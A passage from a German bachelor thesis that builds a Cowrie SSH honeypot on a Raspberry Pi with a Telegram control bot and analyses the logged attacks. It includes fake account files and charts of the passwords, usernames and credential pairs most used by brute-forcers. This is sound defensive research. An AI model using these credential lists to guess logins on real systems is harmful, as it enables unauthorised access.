Nach der erfolgreichen Installation des Betriebssystems und dem Erstelleneines Bots ist der Raspberry Pi nun bereit konfiguriert zu werden. Dies kannebenfalls mit einem Skript automatisiert werden und Anhang A.2 zeigt einemögliche, und die hier benutzte, Konfiguration des Einplatinencomputers.

Zu Beginn sollte das System komplett aktualisiert werden, um alle verfügba-ren Sicherheitsupdates ein zu spielen. Pacman kann zusätzlich noch über dieKonfigurationsdatei /etc/pacman.conf so eingestellt werden, dass die Aus-gabe detaillierter ist. Daran anschließend müssen sämtliche benötigten Pake-te installiert werden, welche namentlich base, base-devel, git und python

sind. Die Zeilen 28 - 48 von dem Skript pi_config.sh decken dies ab.

Dieses übernimmt darauf folgend die Einstellungen für die Benutzerkonten.Dabei wird das Passwort vom Root-Account geändert und das Benutzerkon-to „alarm“ durch zwei neue Konten ersetzt. Zum einen durch ein Konto zumAnmelden via SSH, um anschließend zum Root-Account wechseln zu kön-nen, und zum anderen durch ein Konto, das ausschließlich für den Honeypotzuständig ist. Auch werden hier schon die später benötigten Rechte für denBot eingetragen. (Zeilen 51 - 112)

Ein SSH-Server läuft standardmäßig auf Port 22. Dementsprechend muss derHoneypot auch auf diesem Port laufen, jedoch kann ein Port nur für einenDienst offen sein. Das heißt der SSH-Daemon muss auf einem anderen Portlaufen. In diesem Fall ist das die Portnummer 222 und zusätzlich wird dasAnmelden nur noch mit einem SSH-Schlüssel erlaubt. Dies verhindert einenmöglichen Brute-Force-Angriff, da nun keine Passwörter mehr verwendetwerden. Der dafür notwendige Schlüssel ist mit dem Skript aus Anhang A.1bereits übergeben worden und schon auf dem Speicherkarte vorhanden. Die-ser muss nun verschoben werden und das entsprechende Benutzerkonto alsEigentümer eingetragen werden, damit dieses Konto auch auf die Datei zu-greifen kann. (Zeilen 115 - 137)

Um ein Programm auf einem Port zwischen 0 und 1023 laufen zu lassen oh-ne Root-Rechte zu haben wird das Tool Authbind benötigt. Da dieses jedochnicht in den Standard-Repositorien von Arch verfügbar ist muss es über dassogenannte Arch User Repository (AUR) installiert werden, in welchem Pro-gramme und Bibliotheken durch andere Arch Linux Benutzer*innen zur Ver-fügung gestellt werden.

Page 25: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 3. Aufbau 15

Diese werden nach dem Herunterladen lokal kompiliert und mit Hilfe vonPacman installiert. Dazu gibt es auch Hilfsprogramme, die es erlauben dasArch User Repository teilweise in syntaktisch gleicher Weise wie Pacman zudurchsuchen und entsprechende Pakete zu installieren. Das Skript lädt denAUR-Helfer yay herunter und installiert diesen. Mit diesem lässt sich nunAuthbind installieren. Dabei wird vor einem Plattform-Unterschied gewarnt,da Authbind nicht für die ARM-Architektur entwickelt wurde, was jedoch ander Funktionalität nichts ändert. Im Anschluss daran entfernt das Skript nunalle nicht mehr benötigten Programme. (Zeilen 140 - 156)

Der vorletzte Schritt besteht darin den Honeypot Cowrie zu installieren undein zu richten. Die Einrichtung besteht zunächst darin den Standard-Host-namen zu ändern (siehe Abbildung 3.3). Diese Datei muss innerhalb desCowrie-Verzeichnisses unter honeyfs/etc/hostname abgespeichert werden.

1 M−3PO

ABBILDUNG 3.3: cowrie_config/honeyfs/etc/hostname

Auch sollte der Standard-Benutzer „Richard“ geändert werden, da diesereinen Hinweis darauf gibt, dass es sich bei dem System um einen Honey-pot handelt. [11] Dazu sollte zum einen die Datei honeyfs/etc/passwd an-gepasst werden, indem der Name Richard durch einen beliebigen Anderenersetzt wird. Auch können hier noch weitere Schein-Benutzer*innen einge-tragen werden (siehe Abbildung 3.4). Zum anderen muss das Dateisystemgeändert werden. Dabei wird das Benutzerverzeichnis in diesem Fall vonRichard zu „Willi“ umbenannt und für die anderen eingetragenen Benut-zer*innen noch Dateien in verschiedenen Größen erzeugt.

Um das Dateisystem ändern zu können liefert Cowrie das Tool fsctl, mitdem rudimentäre Aufgaben, wie zum Beispiel das Erstellen oder Verschiebenvon Dateien, erledigt werden können. fsctl startet eine eigene Kommando-zeilenumgebung in der sich Dateien erzeugen lassen mittels dem Befehl undder Syntax touch <Ziel> [<Größe in Bytes>].

Weitere Anpassungen von Cowrie werden in der Datei cowrie.cfg (sieheAnhang B) vorgenommen. Hier kann eingestellt werden wie lange die SSH-Verbindung aufrecht erhalten wird. Auch die Art des Betriebssystems, dassimuliert werden soll, wird hier eingetragen.

Page 26: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 3. Aufbau 16

1 root : x : 0 : 0 : : / root :/ usr/bin/zsh2 bin : x : 1 : 1 : : / : / sbin/nologin3 daemon : x : 2 : 2 : : / : / sbin/nologin4 mail : x : 8 : 1 2 : : / var/spool/mail :/ sbin/nologin5 f t p : x : 1 4 : 1 1 : : / srv/ f t p :/ sbin/nologin6 http : x : 3 3 : 3 3 : : / srv/http :/ sbin/nologin7 nobody : x : 6 5 5 3 4 : 6 5 5 3 4 : Nobody : / : / sbin/nologin8 dbus : x : 8 1 : 8 1 : System Message Bus : / : / sbin/nologin9 systemd−journal−remote : x : 9 8 2 : 9 8 2 : systemd Journal

Remote : / : / sbin/nologin10 systemd−coredump : x : 9 8 1 : 9 8 1 : systemd Core Dumper : / : / sbin/nologin11 uuidd : x : 6 8 : 6 8 : : / : / sbin/nologin12 g i t : x : 9 8 0 : 9 8 0 : g i t daemon user : / : / usr/bin/gi t−s h e l l13 j an : x : 1 0 0 0 : 1 0 0 0 : Jan Landau :/home/jan :/ usr/bin/zsh14 lightdm : x : 6 2 0 : 6 2 0 : Light Display

Manager :/ var/ l i b /lightdm :/ sbin/nologin15 polk i td : x : 1 0 2 : 1 0 2 : P o l i c y K i t daemon : / : / sbin/nologin16 usbmux : x : 1 4 0 : 1 4 0 : usbmux user : / : / sbin/nologin17 avahi : x : 9 7 9 : 9 7 9 : Avahi mDNS/DNS−SD daemon : / : / sbin/nologin18 colord : x : 9 7 8 : 9 7 8 : Color management

daemon:/ var/ l i b /colord :/ sbin/nologin19 gdm: x : 1 2 0 : 1 2 0 :Gnome Display Manager :/ var/ l i b /gdm:/ sbin/nologin20 r t k i t : x : 1 3 3 : 1 3 3 : Real t imeKit :/ proc :/ sbin/nologin21 cups : x : 2 0 9 : 2 0 9 : cups helper user : / : / sbin/nologin22 systemd−network : x : 9 7 5 : 9 7 5 : systemd Network

Management : / : / sbin/nologin23 systemd−r e s o l v e : x : 9 7 4 : 9 7 4 : systemd Resolver : / : / sbin/nologin24 systemd−timesync : x : 9 7 3 : 9 7 3 : systemd Time

Synchronizat ion : / : / sbin/nologin25 geoclue : x : 9 7 2 : 9 7 2 : Geoinformation

s e r v i c e :/ var/ l i b /geoclue :/ sbin/nologin26 t i n a : x : 1 0 0 1 : 1 0 0 1 : Tina Lang :/home/ t i n a :/ usr/bin/bash27 w i l l i : x : 1 0 0 2 : 1 0 0 2 : Wilhelm Goetz :/home/ w i l l i :/ usr/bin/bash

ABBILDUNG 3.4: cowrie_config/honeyfs/etc/passwd

Die zwei wichtigsten Punkte sind jedoch listen_endpoints und die Sektion[output_aiogram]. Im Ersten wird der Port eingestellt, auf dem Cowrie lau-fen soll. Der zweite Punkte bereitet auf das Ausgabe-Plugin vor, das spätermit dem Telegram-Bot installiert wird.

Die vierte und letzte Datei bei der Anpassung der Cowrie-Konfiguration istdie Datei userdb.txt (siehe Abbildung 3.5). In dieser werden die erlaubtenBenutzername-Passwort-Kombinationen eingetragen, mit denen es möglichist sich mit dem Honeypot zu verbinden. Die hier verwendeten Passwörterentstammen dabei diversen Listen, welche die meistbenutzten Passwörterpropagieren2.

2siehe https://www.passwordrandom.com/most-popular-passwords

Page 27: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 3. Aufbau 17

1 # ’ : ’ separated f i e l d s , f i l e i s processed l i n e f o r l i n e2 # process ing w i l l stop on f i r s t match3 #4 # F i e l d #1 conta ins the username5 # F i e l d #2 i s c u r r e n t l y unused6 # F i e l d #3 conta ins the password7 # ’∗ ’ f o r password allows any password8 # ’ ! ’ a t the s t a r t of a password w i l l not grant t h i s password

a c c e s s9 # ’/ ’ can be used to wri te a regular express ion

10 #11 root : x :8765432112 root : x : asdfgh13 root : x : batman14 root : x : bond00715 root : x : dragon16 root : x : g a r f i e l d17 root : x : le tmein18 root : x : nintendo19 root : x : s tarwars20 root : x : t rus tno121 root : x : zxcvbnm22 j an : x : dragon23 j an : x : le tmein24 j an : x : nintendo25 j an : x : t rus tno126 t i n a : x :8765432127 t i n a : x : asdfgh28 t i n a : x : s tarwars29 t i n a : x : zxcvbnm30 w i l l i : x : batman31 w i l l i : x : bond00732 w i l l i : x : g a r f i e l d

ABBILDUNG 3.5: cowrie_config/etc/userdb.txt

Das Skript pi_config.sh übernimmt in den Zeilen 159 - 216 diese Konfigura-tion und verschiebt dabei die Dateien, die bereits mit arm_install.sh auf denRaspberry Pi übertragen wurden, an die entsprechenden Stellen.

In den restlichen Zeilen des Skripts wird nun der Telegram-Bot installiert.Dazu wird nach dem Herunterladen aus dem Gitlab-Repositorium das Plu-gin für Cowrie in dessen Verzeichnis kopiert und die entsprechenden Rechteverteilt. Zusätzlich wird ein systemd-Daemon eingerichtet, um den Bot auto-matisch nach dem Starten des Raspberry Pis mit zu starten.

Im Anschluss daran wird noch die MAC-Adresse des Raspberrys geändert,um ein System dar zu stellen, welches das vorgetäuschte Betriebssystem vonCowrie installiert haben könnte.

Page 28: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 3. Aufbau 18

Die letzte Aktion des Skripts ist das Initialisieren der Python-Umgebung, inder bereits die Abhängigkeiten von Cowrie selbst mit verarbeitet sind.

Zum Schluss muss nun noch die Datei config.yaml angepasst werden unddort der Token vom Telegram-Bot sowie die Chat-ID, an die die Benachrich-tigungen geschickt werden sollen, eingetragen werden. Anschließend ist dasAufsetzen des Honeypots beendet und somit kann dieser nach einem Neu-start in Betrieb genommen werden.

Page 29: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

19

4 Der Telegram-Bot

Das Kapitel „Der Telegram-Bot“ geht sowohl auf den Bot selbst als auchauf die Zusatzdateien in dem dazugehörigen Gitlab-Repositorium näher ein.Dieser basiert auf der Python-Bibliothek AIOGram, die für die Telegram BotAPI angefertigt wurde und seit Juni 2017 existiert. Das Repositorium be-steht neben dem Hauptprogramm HoneyBot.py und dessen Abhängigkeitenrequirements.txt noch aus der Konfigurationsdatei config.yaml und demCowrie-Plugin aiogram.py. Zusätzlich existiert noch ein Makefile, um dasErstellen der Python-Umgebung zu vereinfachen.

Die Quelldateien des Repositoriums befinden sich im Anhang C. Im Internetist dieses erreichbar unter https://gitlab.com/saverio.weller/honeybot

(Stand: 2. September 2019).

4.1 HoneyBot.py

Die Telegram Bot API besitzt eine Funktion zum Abrufen neuer Nachrichten.Dieser muss nach dem ersten Aufruf ein Adressabstand hinzugefügt werden,damit beim nächsten Aufruf nicht die erste Nachricht erneut abgerufen wird.AIOGram bietet dafür eine Funktion, bei der diese Notwendigkeit automa-tisiert wird. Die Hauptroutine des Bots fragt auf diese Weise zyklisch neueNachrichten ab. Dabei sendet dieser der in der Konfigurationsdatei eingetra-genen ID eine Nachricht, die den Start bestätigt.

ABBILDUNG 4.1: Angepasste Tastatur in Telegram

Page 30: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 4. Der Telegram-Bot 20

Mit der Startnachricht wird außerdem noch eine angepasste Tastatur (sieheAbbildung 4.1) verschickt. Diese besteht aus vorgefertigten Befehlen, sodassdiese nicht mehr manuell eingegeben werden müssen. Diese bleibt bestehenund kann mit dem /start-Befehl jeder Zeit erneuert werden. Anschließendlassen sich der Honeypot Cowrie und der SSH-Daemon mit Hilfe dieser Tas-tatur steuern.

Cowrie Der Honeypot lässt sich mit Nachrichten steuern, die mit /cowriebeginnen. Vorgegeben ist das Starten, Stoppen und die Abfrage nach dem ak-tuellen Status von Cowrie. Das Neustarten oder das Erzwingen des Stoppensist über eine manuelle Eingabe möglich (mittels /cowrie restart respektive/cowrie force-stop). Somit ist es möglich bei Bedarf zu intervenieren.

SSH Die vorgegeben Optionen für den Daemon, der auf dem Port 222 läuft,gleichen dabei denen von Cowrie: Start, Status und Stopp. Per Hand einge-geben ist ein Neustart mit /ssh restart möglich. Die Kontrolle über denService erlaubt es diesen zu stoppen und nur dann zu öffnen, wenn ein SSH-Verbindung aufgebaut werden soll. Dadurch ist der reale Fernzugriff abge-schirmt, sodass eventuelle Angreifer*innen diesen Angriffsvektor bei Entde-ckung nicht nutzen und in das System eindringen können.

Dadurch, dass ein Befehl an den Bot eine Interaktion mit dem System dar-stellt, führt das Eingeben von /cowrie oder /ssh mit falschen oder ohne Pa-rametern zu einer Ausgabe, welche die möglichen Optionen auflistet. Un-bekannte Befehle werden gänzlich ignoriert, um eine Kompromittierung viaTelegram zu unterbinden.

/ssh /cowrie

start

status

stop

restart

force-stop

Befehl verfügbar...

... als Schaltfläche

... via Eingabe

ABBILDUNG 4.2: Verfügbare Befehle

Page 31: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 4. Der Telegram-Bot 21

4.2 config.yaml

Mit dem Ziel den Grad der Anpassungsfähigkeit des Bots zu erhöhen ent-stand die Konfigurationsdatei config.yaml, die wichtige Aspekte einstellt.Der erste Abschnitt konfiguriert den Bot selbst. Dort muss der Bot-Tokenund die ID, an welche die Sofortnachrichten versendet werden sollen, einge-tragen werden. Auch wird hier festgelegt, welche Nachricht nach dem Startverschickt wird und welche Informationen Nutzer*innen nach dem /start-Befehl erhalten.

Die nächsten beiden Abschnitte betreffen sowohl den Honeypot als auch denSSH-Daemon. Dort wird zunächst eingestellt, welche Befehle jeweils erlaubtsind und welche Befehle als Schaltfläche versendet werden soll. Zusätzlichkann hier die Nachricht bei falschen oder fehlenden Parametern festgelegtwerden.

Cowrie bietet dabei noch zwei weitere Punkte zur Anpassung an. Zum einenist dies der absolute Pfad, in dem sich das Programm befindet und zum ande-ren das Benutzerkonto zum Ausführen des Honeypots. Dieses sollte so we-nig Rechte für das Betriebssystem wie möglich besitzen, um etwaige Schädenam System gering zu halten beziehungsweise zu vermeiden.

4.3 Makefile

In dem Repositorium befindet sich eine Datei mit dem Namen Makefile. Die-se wird von dem Tool make verwendet und findet im Normalfall Verwendungim Erstellungsprozess von beispielsweise C-Quelltexten.

Ein Makefile automatisiert alle notwendigen Arbeitsschritte zum Kompilie-ren von Software. Python-Programme müssen jedoch nicht kompiliert wer-den, da Python den Quelltext zur Laufzeit interpretiert. Ein Makefile kanndennoch hilfreich sein.

Das Erstellen der notwendigen Umgebung kann hierüber auf ein make env

verkürzt werden. Folgende Schritte führt das Tool make dabei im Einzelnenaus: Als erstes wird überprüft, ob das Verzeichnis, das sämtliche Pakete fürdie Python-Umgebung bereit hält, bereits existiert. Ist dies nicht der Fall wirddieses erstellt.

Anschließend wird der Paketmanager von Python aktualisiert und danachsämtliche benötigten Pakete, die in der Datei requirements.txt festgehalten

Page 32: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 4. Der Telegram-Bot 22

sind, installiert. Zum Schluss wird noch der Zeitpunkt des letzten Zugriffsund der Modifikation der Umgebung aktualisiert.

Ein weiterer Vorteil der Verwendung von make ist die Tatsache, dass hierüberder Bot gestartet werden kann und automatisch die Python-Umgebung lädt.Dies stellt sicher, dass das Programm wie vorgesehen läuft.

Wird das Projekt erweitert, können neue Abhängigkeiten mittels make

freeze eingetragen werden. Zusätzlich wird ein Tool zur statischen Quell-text-Analyse mitgeliefert, das mit make lint aufgerufen wird. In beidenFällen wird wie beim Programmstart zuerst die Umgebung geladen, umFehler beim Ausführen zu vermeiden.

4.4 aiogram.py

Für die Erweiterung der Ausgabe bietet Cowries Entwickler, Michel OOS-TERHOF, eine abstrakte Klasse an. Zur Implementierung von jener müssendrei Methoden gegeben sein. Jeweils eine zum Starten, Stoppen und zumSchreiben der Ausgabe.

AIOGrams Asynchronität zum Dank ist es möglich mehrere Instanzen desTelegram-Bots laufen zu lassen. Dadurch kann das Cowrie-Plugin parallelzum Telegram-Bot laufen, ohne fest mit einander verbunden zu sein. Anderegetestete Implementationen setzen eine singuläre Instanz voraus und stop-pen den Dienst bei Nichteinhaltung.

Konfiguriert wird das Plugin über die Konfigurationsdatei des Honeypotsselbst. Anpassbar sind dabei folgende Punkte:

cmd_location Pfad der Datei, die alle ausgeführten Befehle mitZeitstempel und IP-Adresse aufzeichnet

geoip_database Pfad der Datenbank für geoip zum Aufzeichnen derKoordinaten und des Ursprungslands eines Angriffs

filter Regulärer Ausdruck, der die zu übermittelndenEreignisse festlegt

id Telegram Chat-ID, welche die Nachrichten erhalten solllog_file Pfad der Datei, die Loginversuche aufzeichnettoken Der Token vom Telegram-Bot

In der unter log_file festgelegten Datei werden in sieben Tab getrennten Spal-ten der Zeitpunkt, die IP-Adresse, das Herkunftsland inklusive zweistelli-gem Ländercode, die Koordinaten, der Benutzername und das Passwort ei-nes jeden Loginversuchs abgespeichert.

Page 33: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 4. Der Telegram-Bot 23

Die unter cmd_location festlegte Datei hingegen enthält drei Tab getrennteSpalten: Zeitpunkt, IP-Adresse und ausgeführter Befehl. In dieser Datei wer-den alle Befehle gespeichert, die Angreifer*innen nach erfolgreichem Anmel-den benutzen.

Page 34: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

24

5 Auswertung der Angriffe

Im Mittelpunkt des Kapitels „Auswertung der Angriffe“ stehen die gesam-melten Loginversuche, deren Frequenz und globale Verteilung, und das Vor-gehen von Angreifer*innen bei erfolgreichem Anmelden im Honeypot.

5.1 Häufigkeit und Verteilung

Zunächst soll auf die Häufigkeit der Angriffe eingegangen werden, wobeinicht unterschieden wird, ob diese erfolgreich waren oder scheiterten. DerBoxplot in Abbildung 5.1 zeigt nur die ganztägigen Ergebnisse vom 14. Julibis einschließlich zum 18. August 2019 auf.

14. Juli - 18. August

14. Juli - 31. Juli

01. August - 18. August

Zeitraum (2019)

4000

5000

6000

7000

8000

9000

10000

Logi

nver

such

e pr

o Ta

g

ABBILDUNG 5.1: Durchschnittliche Angriffe pro Tag

Page 35: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 25

Der Zeitrahmen der ausgewerteten Aufzeichnung beträgt 36 Tage und in die-ser Zeit reicht die Anzahl der Angriffe von mindestens 3.400 pro Tag bis zueinem Maximum von 9.774 Anmeldeversuchen, was in etwa dem 2,9-fachendes Minimums entspricht. Aus den Messwerten ergibt sich außerdem, dassdurchschnittlich mit etwa 5.650± 1.717 versuchten Anmeldungen pro Tag zurechnen sind, wobei die Tendenz eher nach oben steigt.

Beachtenswert dabei ist, dass auf dem Raspberry Pi kein Webserver oderÄhnliches betrieben wird, sondern dieser lediglich öffentlich an das Inter-net angeschlossen ist. Dadurch ist dieser für Angreifer*innen nur ersichtlichdurch das Absuchen von bestimmten IP-Adressbereichen. Somit sind die An-griffe als ungezielt zu betrachten. Mit beispielsweise einem Webserver sindhöhere Zahlen zu erwarten, da in diesem Fall gezielte Angriffe durch dieöffentliche Präsenz hinzukommen.

0 5000 10000 15000 20000 25000 30000 35000 40000Loginversuche

VN/VietnamUS/United States

UA/UkraineTW/Taiwan

SG/SingaporeSE/Sweden

RU/Russian FederationPL/Poland

NL/NetherlandsMX/Mexico

KR/Korea, Republic ofJP/JapanIT/Italy

IN/IndiaID/Indonesia

HK/Hong KongGR/Greece

GB/United KingdomFR/FranceES/Spain

DE/GermanyCO/Colombia

CN/ChinaCA/Canada

BR/Brazil

Herk

unft

ABBILDUNG 5.2: Die 25 häufigsten Ursprungsländer

Die 203.427 Loginversuche selbst haben ihren Ursprung aus über einhundertverschiedenen Ländern. Abbildung 5.2 zeigt die 25 Häufigsten. Diese bedeu-ten jedoch nicht zwangsläufig den Aufenthaltsort der angreifenden Personenselbst, da durchaus die Möglichkeit besteht die eigene Herkunft mittels ei-nes Anonymisierungsdienstes zu verschleiern. Viele Angriffe entstehen aberauch automatisiert durch Botnetze, mit dem Ziele jene zu vergrößern.

Page 36: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 26

Die nachstehende Weltkarte (Abbildung 5.3) verdeutlicht noch mal mehr dieglobale Verteilung der Loginversuche. Dort ersichtlich ist, dass sich die Her-kunft größtenteils auf Europa, Asien, Nord- und Südamerika beschränkt.Afrika und Australien hingegen sind weniger vertreten.

Die einzelnen Punkte sind hierbei nicht gewichtet, das heißt es wird nur dieVerteilung, jedoch nicht die Häufigkeit der einzelnen Standorte angezeigt.

ABBILDUNG 5.3: Weltkarte mit den Ursprüngen der Angriffe

In den 36 Tagen gibt es zwischen allen Angriffen dennoch IP-Adressen,die dadurch auffallen, dass von diesen aus erfolgreich eine SSH-Verbindungzum Honeypot aufgebaut wird, aber dann keinen einzigen Befehl ausführen.Diese Verbindungen sind mehrfach täglich zu sehen.

So gehört eine dieser Adressen laut einer whois-Abfrage, mit der die Eigen-tümer von IP-Adressen aber auch Domainen im Internet erfragt werden kön-nen, zu einem Netzwerkadministrator, welcher sich selbst unter anderem als„networm“, zu Deutsch in etwa „Netzwurm“, bezeichnet.

Dies lässt die Vermutung zu, dass es sich hierbei um keinen Bot handelt undauch keine Anonymisierung stattgefunden hat, da es im Bereich der Compu-tersicherheit nicht unüblich ist ein System auf Schwachstellen zu testen unddiese den Besitzer*innen daraufhin mit zu teilen. Meist in Kombination miteinem Angebot diese für einen bestimmten, finanziellen Betrag zu beseitigenund/oder vertraglich abgesichert nach weiteren Schwachstellen zu suchen.

Bei Betrachtung der Angriffe auf die einzelnen Tagesstunden verteilt lässtsich ein Mittelwert von 235(±153) Loginversuchen pro Stunde errechnen.

Page 37: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 27

Minima, mit einem Extremum von 23, werden dabei in der Zeit zwischen17:00 und 17:59 Uhr erreicht. Maxima hingegen treten eher zwischen 20:00- 20:59 Uhr und 03:00 - 03:59 Uhr auf, mit einem Extremum von 1.294. Diesist eine der beiden Abweichungen, in denen es innerhalb einer Stunde übertausend Loginversuche gab. Diese Abweichung entspricht dem 4-fachen desoberen Quartils von 321 Versuchen pro Stunde.

5.2 Anmeldedaten

Im Verlauf der Aufzeichnung durch den Honeypot wurden 34.691 distink-te Kombinationen aus Benutzername und Passwort verwendet. Diese wie-derum setzen sich aus 12.886 verschiedenen Benutzername mit 19.366 unter-schiedlichen Passwörtern zusammen.

Das nachfolgende Diagramm (Abbildung 5.4) zeigt die 25 meist benutztenPasswörter, mit denen versucht wird eine SSH-Verbindung auf zu bauen.Bei diesen grenzt sich der Spitzenreiter „123456“ mit der beinahe dreifachenVerwendungsmenge von dem zweithäufigsten Passwort ab.

0 2000 4000 6000 8000 10000 12000 14000Versuche

ubnttrustno1test123

testroot

qwertypassword

mastermanager

changemeadmin123

adminabc123

<kein Passwort>987654321

1qaz2wsx12345678912345678

123456123451234

123123123

1111111

Pass

wort

ABBILDUNG 5.4: Die 25 häufigsten Passwörter

Ab diesem Punkt verringert sich die faktorielle Differenz. So wird bei-spielsweise das dritthäufigste Passwort 1,4-mal mehr verwendet als dasviert-häufigst benutzte Passwort. Der Faktor tendiert daraufhin gegen 1 bisdie Anzahl der Verwendungen selbst sich nur noch um eins unterscheiden.

Page 38: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 28

0 5000 10000 15000 20000 25000Versuche

usertestroot

postgresnagiosguest

ftpuserftp

adminadm

Benu

tzer

nam

e

ABBILDUNG 5.5: Die 10 häufigsten Benutzernamen

Bei den meistverwendeten Benutzernamen ist eine sehr deutliche Präferenzschon im Diagramm (siehe Abbildung 5.5) ersichtlich. Die beiden, mit Ab-stand, meistbenutzten Benutzernamen sind „root“ und „admin“. Dies ist in-sofern nachvollziehbar, als dass diese Benutzerkonten sämtliche Zugriffs-rechte für Systeme haben und im Falle von „root“ bei jedem GNU/Linux-Betriebssystem vorhanden ist.

Das Benutzerkonto „admin“ hingegen ist auf verschiedenen Betriebssyste-men vor zu finden und der konventionelle Name für das Administratorkon-to in Netzwerken, Anwendungsprogrammen, Internetseiten und Weiterem.

Abbildung 5.6 listet nun die 25 meistbenutzten Kombinationen aus Benut-zername und Passwort auf. Dort fällt auf, dass der zweithäufigste Benut-zername stärker vertreten ist. Das hängt damit zusammen, dass in diesemFall vermehrt Standardanmeldedaten verwendet werden, welche die Benut-zer*innen häufig nicht ändern, auch wenn diese öffentlich ersichtlich sind.

Für das „root“-Konto hingegen gibt es oftmals kein Standardpasswort undein eigenes muss bei Installation des Betriebssystem eingegeben werden. Da-durch ergibt sich für dieses Benutzerkonto ein wesentlich breites Spektruman potenziell möglichen Passwörtern.

Die hohe Frequenz an Versuchen sich mit standardmäßig gesetzten Pass-wörtern, wie in etwa „admin“ oder „changeme“, zeigen die Notwendigkeitder Änderung von diesen. Im letzteren Fall wird dies aus dem Passwort, zuDeutsch „ändere mich“, selbst schon deutlich.

Page 39: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 29

0 100 200 300 400 500 600 700Versuche

(root, trustno1)(root, alpine)

(root, 12345678)(root, 1234)

(root, 0)(nobody, nobody)

(mike, mike)(guest, 12345678)

(admin, vertex25ektks123)(admin, password)

(admin, ninja)(admin, manager)

(admin, changeme)(admin, admin1234)

(admin, admin1)(admin, admin)

(admin, 7ujMko0admin)(admin, 123)

(admin, 1111)(111111, admin)

Benu

tzer

nam

e-Pa

sswo

rt-Ko

mbi

natio

n

ABBILDUNG 5.6: Die 25 häufigsten Benutzername-Passwort-Kombinationen

Es ist jedoch zweifelhaft, ob die Kombination des Benutzernamens „root“mit dem Passwort „trustno1“ legitim an erster Stelle der meistverwendetenKombinationen steht, denn die 669 Verwendungen stehen in Relation mitden zuvor genannten SSH-Verbindungen, die nach erfolgreichem Anmeldendiese wieder trennen. Dadurch, dass diese Verbindungen mit der Kombina-tion in regelmäßigen Abständen zustande kamen kann man folgern, dass dieAnmeldedaten nach dem ersten Erfolg abgespeichert wurden und diese Ver-bindung vermutlich automatisiert gestartet wird, um deren Aktualität auszu testen.

Diese Regelmäßigkeiten verdeutlichen jedoch, dass Angreifer*innen erspäh-te Anmeldedaten nicht nur einmalig verwenden, sondern durchaus auchmehrmalig. Derartiges kann durch das Ändern des Passworts unterbundenwerden und sollte einer der ersten Schritte bei bekannt werden einer Kom-promittierung des eigenen (Betriebs-)System sein.

Eine weitere Abwehrmaßname kann das Deaktivieren der Anmeldung viaBenutzername und Passwort sein und stattdessen Verbindungen nur nochmit Hilfe von SSH-Schlüsselpaaren zu erlauben.

Page 40: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 5. Auswertung der Angriffe 30

5.3 Verwendete Befehle

Der Abschnitt „Verwendete Befehle“ ist denjenigen Befehlen gewidmet, dieeingesetzt wurden, nachdem jemand eine erfolgreiche SSH-Verbindung zumHoneypot aufgebaut hat. Angreifer*innen haben anschließend 120 SekundenZeit, um Befehle ab zu setzen, bis die Verbindung durch Cowrie beendetwird. Tabellen 5.1 und 5.2 listen diese nach der Häufigkeit sortiert auf.

Auf Grund der Länge der verschiedenen Hashes, der Unterschiedlichkeit derAnmeldedaten und neu gesetzten Passwörtern, sowie der Tatsache, dass IP-Adressen oftmals nicht statisch sind, sondern immer wieder neu vergebenwerden, wurden diese Werte redigiert.

Auffällig bei den Befehlen ist die Tatsache, dass die meistverwendeten Be-fehle identisch sind in Hinsicht auf das verwendete Tool, aber auch bei demverwendeten Dateinamen wie beispielsweise ".var03522123" oder dem feh-lenden Leerzeichen zwischen dem Komma und dem "$3" in dem Befehlfree -m | grep Mem | awk ’{print $2 ,$3, $4, $5, $6, $7}’.

TABELLE 5.1: Häufigkeit der verwendeten Befehle bei Angrif-fen, Teil 1

